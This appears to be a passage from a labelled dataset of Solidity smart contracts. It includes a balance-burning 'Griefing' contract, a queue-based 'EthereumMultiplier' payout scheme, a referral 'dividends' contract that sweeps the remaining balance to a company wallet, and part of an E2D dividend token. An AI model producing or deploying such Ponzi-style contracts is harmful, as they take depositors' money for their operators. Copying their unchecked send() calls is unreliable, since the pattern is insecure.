function Griefing(uint _griefCost) public payable {
griefCost=_griefCost;
owner=msg.sender;
}
function () public payable {
require(msg.value==griefCost);
address(0x0).send(this.balance);
}
function getBack() public {
require(msg.sender==owner);
msg.sender.send(this.balance);
}
} | 0 | 2,105 |
pragma solidity ^0.4.25;
contract EthereumMultiplier {
address constant private Reclame = 0x37Ef79eFAEb515EFC1fecCa00d998Ded73092141;
uint constant public Reclame_PERCENT = 2;
address constant private Admin = 0x942Ee0aDa641749861c47E27E6d5c09244E4d7c8;
uint constant public Admin_PERCENT = 2;
address constant private BMG = 0x60d23A4F6642869C04994C818A2dDE5a1bf2c217;
uint constant public BMG_PERCENT = 2;
uint constant public Refferal_PERCENT = 10;
uint constant public MULTIPLIER = 110;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 110){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 5 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/110)));
uint promo = msg.value*Reclame_PERCENT/100;
Reclame.send(promo);
uint admin = msg.value*Admin_PERCENT/100;
Admin.send(admin);
uint bmg = msg.value*BMG_PERCENT/100;
BMG.send(bmg);
pay();
}
}
function refferal (address REF) public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 5 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/110)));
uint promo = msg.value*Reclame_PERCENT/100;
Reclame.send(promo);
uint admin = msg.value*Admin_PERCENT/100;
Admin.send(admin);
uint bmg = msg.value*BMG_PERCENT/100;
BMG.send(bmg);
require(REF != 0x0000000000000000000000000000000000000000 && REF != msg.sender, "You need another refferal!");
uint ref = msg.value*Refferal_PERCENT/100;
REF.send(ref);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 133 |
pragma solidity 0.4.25;
contract Constants {
address internal constant OWNER_WALLET_ADDR = address(0x508b828440D72B0De506c86DB79D9E2c19810442);
address internal constant COMPANY_WALLET_ADDR = address(0xEE50069c177721fdB06755427Fd19853681E86a2);
address internal constant LAST10_WALLET_ADDR = address(0xe7d8Bf9B85EAE450f2153C66cdFDfD31D56750d0);
address internal constant FEE_WALLET_ADDR = address(0x6Ba3B9E117F58490eC0e68cf3e48d606C2f2475b);
uint internal constant LAST_10_MIN_INVESTMENT = 2 ether;
}
contract InvestorsStorage {
using SafeMath for uint;
using Percent for Percent.percent;
struct investor {
uint keyIndex;
uint value;
uint paymentTime;
uint refs;
uint refBonus;
uint pendingPayout;
uint pendingPayoutTime;
}
struct recordStats {
uint investors;
uint invested;
}
struct itmap {
mapping(uint => recordStats) stats;
mapping(address => investor) data;
address[] keys;
}
itmap private s;
address private owner;
Percent.percent private _percent = Percent.percent(1,100);
event LogOwnerForInvestorContract(address addr);
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
emit LogOwnerForInvestorContract(msg.sender);
s.keys.length++;
}
function getDividendsPercent(address addr) public view returns(uint num, uint den) {
uint amount = s.data[addr].value.add(s.data[addr].refBonus);
if(amount <= 10*10**18) {
return (15, 1000);
} else if(amount <= 50*10**18) {
return (16, 1000);
} else if(amount <= 100*10**18) {
return (17, 1000);
} else if(amount <= 300*10**18) {
return (185, 10000);
} else {
return (2, 100);
}
}
function insert(address addr, uint value) public onlyOwner returns (bool) {
uint keyIndex = s.data[addr].keyIndex;
if (keyIndex != 0) return false;
s.data[addr].value = value;
keyIndex = s.keys.length++;
s.data[addr].keyIndex = keyIndex;
s.keys[keyIndex] = addr;
return true;
}
function investorFullInfo(address addr) public view returns(uint, uint, uint, uint, uint, uint, uint) {
return (
s.data[addr].keyIndex,
s.data[addr].value,
s.data[addr].paymentTime,
s.data[addr].refs,
s.data[addr].refBonus,
s.data[addr].pendingPayout,
s.data[addr].pendingPayoutTime
);
}
function investorBaseInfo(address addr) public view returns(uint, uint, uint, uint, uint, uint) {
return (
s.data[addr].value,
s.data[addr].paymentTime,
s.data[addr].refs,
s.data[addr].refBonus,
s.data[addr].pendingPayout,
s.data[addr].pendingPayoutTime
);
}
function investorShortInfo(address addr) public view returns(uint, uint) {
return (
s.data[addr].value,
s.data[addr].refBonus
);
}
function addRefBonus(address addr, uint refBonus, uint dividendsPeriod) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) {
assert(insert(addr, 0));
}
uint time;
if (s.data[addr].pendingPayoutTime == 0) {
time = s.data[addr].paymentTime;
} else {
time = s.data[addr].pendingPayoutTime;
}
if(time != 0) {
uint value = 0;
uint256 daysAfter = now.sub(time).div(dividendsPeriod);
if(daysAfter > 0) {
value = _getValueForAddr(addr, daysAfter);
}
s.data[addr].refBonus += refBonus;
uint256 hoursAfter = now.sub(time).mod(dividendsPeriod);
if(hoursAfter > 0) {
uint dailyDividends = _getValueForAddr(addr, 1);
uint hourlyDividends = dailyDividends.div(dividendsPeriod).mul(hoursAfter);
value = value.add(hourlyDividends);
}
if (s.data[addr].pendingPayoutTime == 0) {
s.data[addr].pendingPayout = value;
} else {
s.data[addr].pendingPayout = s.data[addr].pendingPayout.add(value);
}
} else {
s.data[addr].refBonus += refBonus;
s.data[addr].refs++;
}
assert(setPendingPayoutTime(addr, now));
return true;
}
function _getValueForAddr(address addr, uint daysAfter) internal returns (uint value) {
(uint num, uint den) = getDividendsPercent(addr);
_percent = Percent.percent(num, den);
value = _percent.mul(s.data[addr].value.add(s.data[addr].refBonus)) * daysAfter;
}
function addRefBonusWithRefs(address addr, uint refBonus, uint dividendsPeriod) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) {
assert(insert(addr, 0));
}
uint time;
if (s.data[addr].pendingPayoutTime == 0) {
time = s.data[addr].paymentTime;
} else {
time = s.data[addr].pendingPayoutTime;
}
if(time != 0) {
uint value = 0;
uint256 daysAfter = now.sub(time).div(dividendsPeriod);
if(daysAfter > 0) {
value = _getValueForAddr(addr, daysAfter);
}
s.data[addr].refBonus += refBonus;
s.data[addr].refs++;
uint256 hoursAfter = now.sub(time).mod(dividendsPeriod);
if(hoursAfter > 0) {
uint dailyDividends = _getValueForAddr(addr, 1);
uint hourlyDividends = dailyDividends.div(dividendsPeriod).mul(hoursAfter);
value = value.add(hourlyDividends);
}
if (s.data[addr].pendingPayoutTime == 0) {
s.data[addr].pendingPayout = value;
} else {
s.data[addr].pendingPayout = s.data[addr].pendingPayout.add(value);
}
} else {
s.data[addr].refBonus += refBonus;
s.data[addr].refs++;
}
assert(setPendingPayoutTime(addr, now));
return true;
}
function addValue(address addr, uint value) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].value += value;
return true;
}
function updateStats(uint dt, uint invested, uint investors) public {
s.stats[dt].invested += invested;
s.stats[dt].investors += investors;
}
function stats(uint dt) public view returns (uint invested, uint investors) {
return (
s.stats[dt].invested,
s.stats[dt].investors
);
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].paymentTime = paymentTime;
return true;
}
function setPendingPayoutTime(address addr, uint payoutTime) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].pendingPayoutTime = payoutTime;
return true;
}
function setPendingPayout(address addr, uint payout) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].pendingPayout = payout;
return true;
}
function contains(address addr) public view returns (bool) {
return s.data[addr].keyIndex > 0;
}
function size() public view returns (uint) {
return s.keys.length;
}
function iterStart() public pure returns (uint) {
return 1;
}
}
contract DT {
struct DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint private constant DAY_IN_SECONDS = 86400;
uint private constant YEAR_IN_SECONDS = 31536000;
uint private constant LEAP_YEAR_IN_SECONDS = 31622400;
uint16 private constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) internal pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) internal pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
} else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
} else if (isLeapYear(year)) {
return 29;
} else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
}
function getYear(uint timestamp) internal pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
}
contract _200eth is DT, Constants {
using Percent for Percent.percent;
using SafeMath for uint;
using Zero for *;
using ToAddress for *;
using Convert for *;
InvestorsStorage private m_investors = new InvestorsStorage();
mapping(address => address) public m_referrals;
mapping(address => bool) public m_isInvestor;
bool public m_nextWave = false;
struct Last10Struct {
uint value;
uint index;
}
address[] private m_last10InvestorAddr;
mapping(address => Last10Struct) private m_last10Investor;
address public ownerAddr;
uint public totalInvestments = 0;
uint public totalInvested = 0;
uint public constant minInvesment = 10 finney;
uint public constant dividendsPeriod = 24 hours;
uint private gasFee = 0;
uint private last10 = 0;
E2D public e2d;
Percent.percent private m_companyPercent = Percent.percent(10, 100);
Percent.percent private m_refPercent1 = Percent.percent(3, 100);
Percent.percent private m_refPercent2 = Percent.percent(2, 100);
Percent.percent private m_fee = Percent.percent(1, 100);
Percent.percent private m_coinHolders = Percent.percent(5, 100);
Percent.percent private m_last10 = Percent.percent(4, 100);
Percent.percent private _percent = Percent.percent(1,100);
event LogNewInvestor(address indexed addr, uint when, uint value);
event LogNewInvesment(address indexed addr, uint when, uint value);
event LogNewReferral(address indexed addr, uint when, uint value);
event LogPayDividends(address indexed addr, uint when, uint value);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogPayLast10(address addr, uint percent, uint amount);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance.sub(last10).sub(gasFee));
}
constructor(address _tokenAddress) public {
ownerAddr = OWNER_WALLET_ADDR;
e2d = E2D(_tokenAddress);
setup();
}
function isContract(address _addr) private view returns (bool isWalletAddress){
uint32 size;
assembly{
size := extcodesize(_addr)
}
return (size > 0);
}
function setup() internal {
m_investors = new InvestorsStorage();
totalInvestments = 0;
totalInvested = 0;
gasFee = 0;
last10 = 0;
for (uint i = 0; i < m_last10InvestorAddr.length; i++) {
delete m_last10Investor[m_last10InvestorAddr[i]];
}
m_last10InvestorAddr.length = 1;
}
function startNewWave() public {
require(m_nextWave == true, "Game is not stopped yet.");
require(msg.sender == ownerAddr, "Only Owner can call this function");
m_nextWave = false;
}
function() public payable {
if (msg.value == 0) {
getMyDividends();
return;
}
address refAddr = msg.data.toAddr();
doInvest(refAddr);
}
function investorsNumber() public view returns(uint) {
return m_investors.size() - 1;
}
function balanceETH() public view returns(uint) {
return address(this).balance.sub(last10).sub(gasFee);
}
function dividendsPercent() public view returns(uint numerator, uint denominator) {
(uint num, uint den) = m_investors.getDividendsPercent(msg.sender);
(numerator, denominator) = (num,den);
}
function companyPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_companyPercent.num, m_companyPercent.den);
}
function coinHolderPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_coinHolders.num, m_coinHolders.den);
}
function last10Percent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_last10.num, m_last10.den);
}
function feePercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_fee.num, m_fee.den);
}
function referrer1Percent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_refPercent1.num, m_refPercent1.den);
}
function referrer2Percent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_refPercent2.num, m_refPercent2.den);
}
function stats(uint date) public view returns(uint invested, uint investors) {
(invested, investors) = m_investors.stats(date);
}
function last10Addr() public view returns(address[]) {
return m_last10InvestorAddr;
}
function last10Info(address addr) public view returns(uint value, uint index) {
return (
m_last10Investor[addr].value,
m_last10Investor[addr].index
);
}
function investorInfo(address addr) public view returns(uint value, uint paymentTime, uint refsCount, uint refBonus,
uint pendingPayout, uint pendingPayoutTime, bool isReferral, uint dividends) {
(value, paymentTime, refsCount, refBonus, pendingPayout, pendingPayoutTime) = m_investors.investorBaseInfo(addr);
isReferral = m_referrals[addr].notZero();
dividends = checkDividends(addr);
}
function checkDividends(address addr) internal view returns (uint) {
InvestorsStorage.investor memory investor = getMemInvestor(addr);
if(investor.keyIndex <= 0){
return 0;
}
uint256 time;
uint256 value = 0;
if(investor.pendingPayoutTime == 0) {
time = investor.paymentTime;
} else {
time = investor.pendingPayoutTime;
value = investor.pendingPayout;
}
uint256 daysAfter = now.sub(time).div(dividendsPeriod);
if(daysAfter > 0){
uint256 totalAmount = investor.value.add(investor.refBonus);
(uint num, uint den) = m_investors.getDividendsPercent(addr);
value = value.add((totalAmount*num/den) * daysAfter);
}
return value;
}
function _getMyDividents(bool withoutThrow) private {
address addr = msg.sender;
require(!isContract(addr),"msg.sender must wallet");
InvestorsStorage.investor memory investor = getMemInvestor(addr);
if(investor.keyIndex <= 0){
if(withoutThrow){
return;
}
revert("sender is not investor");
}
uint256 time;
uint256 value = 0;
if(investor.pendingPayoutTime == 0) {
time = investor.paymentTime;
} else {
time = investor.pendingPayoutTime;
value = investor.pendingPayout;
}
uint256 daysAfter = now.sub(time).div(dividendsPeriod);
if(daysAfter > 0){
uint256 totalAmount = investor.value.add(investor.refBonus);
(uint num, uint den) = m_investors.getDividendsPercent(addr);
value = value.add((totalAmount*num/den) * daysAfter);
}
if(value == 0) {
if(withoutThrow){
return;
}
revert("the latest payment was earlier than dividents period");
} else {
if (checkBalanceState(addr, value)) {
return;
}
}
assert(m_investors.setPaymentTime(msg.sender, now));
assert(m_investors.setPendingPayoutTime(msg.sender, 0));
assert(m_investors.setPendingPayout(msg.sender, 0));
sendDividends(msg.sender, value);
}
function checkBalanceState(address addr, uint value) private returns(bool) {
uint checkBal = address(this).balance.sub(last10).sub(gasFee);
if(checkBal < value) {
sendDividends(addr, checkBal);
return true;
}
return false;
}
function getMyDividends() public balanceChanged {
_getMyDividents(false);
}
function doInvest(address _ref) public payable balanceChanged {
require(!isContract(msg.sender),"msg.sender must wallet address");
require(msg.value >= minInvesment, "msg.value must be >= minInvesment");
require(!m_nextWave, "no further investment in this pool");
uint value = msg.value;
if ((!m_isInvestor[msg.sender] && !m_referrals[msg.sender].notZero()) ||
(m_isInvestor[msg.sender] && m_referrals[msg.sender].notZero())) {
address ref = m_referrals[msg.sender].notZero() ? m_referrals[msg.sender] : _ref;
if(notZeroNotSender(ref) && m_isInvestor[ref]) {
uint reward = m_refPercent1.mul(value);
if(m_referrals[msg.sender].notZero()) {
assert(m_investors.addRefBonus(ref, reward, dividendsPeriod));
} else {
assert(m_investors.addRefBonusWithRefs(ref, reward, dividendsPeriod));
m_referrals[msg.sender] = ref;
}
emit LogNewReferral(msg.sender, now, value);
if (notZeroNotSender(m_referrals[ref]) && m_isInvestor[m_referrals[ref]] && ref != m_referrals[ref]) {
reward = m_refPercent2.mul(value);
assert(m_investors.addRefBonus(m_referrals[ref], reward, dividendsPeriod));
}
}
}
checkLast10(value);
COMPANY_WALLET_ADDR.transfer(m_companyPercent.mul(value));
e2d.payDividends.value(m_coinHolders.mul(value))();
last10 = last10.add(m_last10.mul(value));
gasFee = gasFee.add(m_fee.mul(value));
_getMyDividents(true);
DT.DateTime memory dt = parseTimestamp(now);
uint today = dt.year.uintToString().strConcat((dt.month<10 ? "0":""), dt.month.uintToString(), (dt.day<10 ? "0":""), dt.day.uintToString()).stringToUint();
if (m_investors.contains(msg.sender)) {
assert(m_investors.addValue(msg.sender, value));
m_investors.updateStats(today, value, 0);
} else {
assert(m_investors.insert(msg.sender, value));
m_isInvestor[msg.sender] = true;
m_investors.updateStats(today, value, 1);
emit LogNewInvestor(msg.sender, now, value);
}
assert(m_investors.setPaymentTime(msg.sender, now));
emit LogNewInvesment(msg.sender, now, value);
totalInvestments++;
totalInvested += msg.value;
}
function checkLast10(uint value) internal {
if(value >= LAST_10_MIN_INVESTMENT) {
if(m_last10Investor[msg.sender].index != 0) {
uint index = m_last10Investor[msg.sender].index;
removeFromLast10AtIndex(index);
} else if(m_last10InvestorAddr.length == 11) {
delete m_last10Investor[m_last10InvestorAddr[1]];
removeFromLast10AtIndex(1);
}
m_last10InvestorAddr.push(msg.sender);
m_last10Investor[msg.sender].index = m_last10InvestorAddr.length - 1;
m_last10Investor[msg.sender].value = value;
}
}
function removeFromLast10AtIndex(uint index) internal {
for (uint i = index; i < m_last10InvestorAddr.length-1; i++){
m_last10InvestorAddr[i] = m_last10InvestorAddr[i+1];
m_last10Investor[m_last10InvestorAddr[i]].index = i;
}
delete m_last10InvestorAddr[m_last10InvestorAddr.length-1];
m_last10InvestorAddr.length--;
}
function getMemInvestor(address addr) internal view returns(InvestorsStorage.investor) {
(uint a, uint b, uint c, uint d, uint e, uint f, uint g) = m_investors.investorFullInfo(addr);
return InvestorsStorage.investor(a, b, c, d, e, f, g);
}
function notZeroNotSender(address addr) internal view returns(bool) {
return addr.notZero() && addr != msg.sender;
}
function sendDividends(address addr, uint value) private {
if (addr.send(value)) {
emit LogPayDividends(addr, now, value);
if(address(this).balance.sub(gasFee).sub(last10) <= 0.005 ether) {
nextWave();
return;
}
}
}
function sendToLast10() private {
uint lastPos = m_last10InvestorAddr.length - 1;
uint index = 0;
uint distributed = 0;
for (uint pos = lastPos; pos > 0 ; pos--) {
_percent = getPercentByPosition(index);
uint amount = _percent.mul(last10);
if( (!isContract(m_last10InvestorAddr[pos]))){
m_last10InvestorAddr[pos].transfer(amount);
emit LogPayLast10(m_last10InvestorAddr[pos], _percent.num, amount);
distributed = distributed.add(amount);
}
index++;
}
last10 = last10.sub(distributed);
if(last10 > 0) {
LAST10_WALLET_ADDR.transfer(last10);
last10 = 0;
}
}
function getPercentByPosition(uint position) internal pure returns(Percent.percent) {
if(position == 0) {
return Percent.percent(40, 100);
} else if(position == 1) {
return Percent.percent(25, 100);
} else if(position == 2) {
return Percent.percent(15, 100);
} else if(position == 3) {
return Percent.percent(8, 100);
} else if(position == 4) {
return Percent.percent(5, 100);
} else if(position == 5) {
return Percent.percent(2, 100);
} else if(position == 6) {
return Percent.percent(2, 100);
} else if(position == 7) {
return Percent.percent(15, 1000);
} else if(position == 8) {
return Percent.percent(1, 100);
} else if(position == 9) {
return Percent.percent(5, 1000);
}
}
function nextWave() private {
if(m_nextWave) {
return;
}
m_nextWave = true;
sendToLast10();
FEE_WALLET_ADDR.transfer(gasFee);
COMPANY_WALLET_ADDR.transfer(address(this).balance);
setup();
emit LogNextWave(now);
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) return 0;
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
}
library Zero {
function requireNotZero(uint a) internal pure {
require(a != 0, "require not zero");
}
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
}
library ToAddress {
function toAddr(uint source) internal pure returns(address) {
return address(source);
}
function toAddr(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
}
library Convert {
function stringToUint(string s) internal pure returns (uint) {
bytes memory b = bytes(s);
uint result = 0;
for (uint i = 0; i < b.length; i++) {
if (b[i] >= 48 && b[i] <= 57) {
result = result * 10 + (uint(b[i]) - 48);
}
}
return result;
}
function uintToString(uint v) internal pure returns (string) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reversed[i - j - 1];
}
string memory str = string(s);
return str;
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
}
contract E2D {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends() > 0);
_;
}
modifier onlyOwner(){
require(ownerAddr == msg.sender || OWNER_ADDRESS_2 == msg.sender, "only owner can perform this!");
_;
}
modifier onlyInitialInvestors(){
if(initialState) {
require(initialInvestors[msg.sender] == true, "only allowed investor can invest!");
_;
} else {
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event onPayDividends(
uint256 dividends,
uint256 profitPerShare
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "E2D";
string public symbol = "E2D";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
address constant internal OWNER_ADDRESS = address(0x508b828440D72B0De506c86DB79D9E2c19810442);
address constant internal OWNER_ADDRESS_2 = address(0x508b828440D72B0De506c86DB79D9E2c19810442);
uint256 constant public INVESTOR_QUOTA = 0.01 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
uint256 internal totalInvestment_ = 0;
uint256 internal totalGameDividends_ = 0;
address public ownerAddr;
mapping(address => bool) public initialInvestors;
bool public initialState = true;
constructor() public {
ownerAddr = OWNER_ADDRESS;
initialInvestors[OWNER_ADDRESS] = true;
initialInvestors[OWNER_ADDRESS_2] = true;
}
function buy() public payable returns(uint256) {
purchaseTokens(msg.value);
}
function() public payable {
purchaseTokens(msg.value);
}
function reinvest() public onlyStronghands() {
uint256 _dividends = myDividends();
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
uint256 _tokens = purchaseTokens(_dividends);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() public onlyStronghands() {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends();
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) public onlyBagholders() {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress], "token to sell should be less then balance!");
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens) public onlyBagholders() returns(bool) {
address _customerAddress = msg.sender;
require(!initialState && (_amountOfTokens <= tokenBalanceLedger_[_customerAddress]), "initial state or token > balance!");
if(myDividends() > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function payDividends() external payable {
uint256 _dividends = msg.value;
require(_dividends > 0, "dividends should be greater then 0!");
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
totalGameDividends_ = SafeMath.add(totalGameDividends_, _dividends);
emit onPayDividends(_dividends, profitPerShare_);
}
}
function disableInitialStage() public onlyOwner() {
require(initialState == true, "initial stage is already false!");
initialState = false;
}
function setInitialInvestors(address _addr, bool _status) public onlyOwner() {
initialInvestors[_addr] = _status;
}
function setName(string _name) public onlyOwner() {
name = _name;
}
function setSymbol(string _symbol) public onlyOwner() {
symbol = _symbol;
}
function totalEthereumBalance() public view returns(uint) {
return address(this).balance;
}
function totalSupply() public view returns(uint256) {
return tokenSupply_;
}
function totalInvestment() public view returns(uint256) {
return totalInvestment_;
}
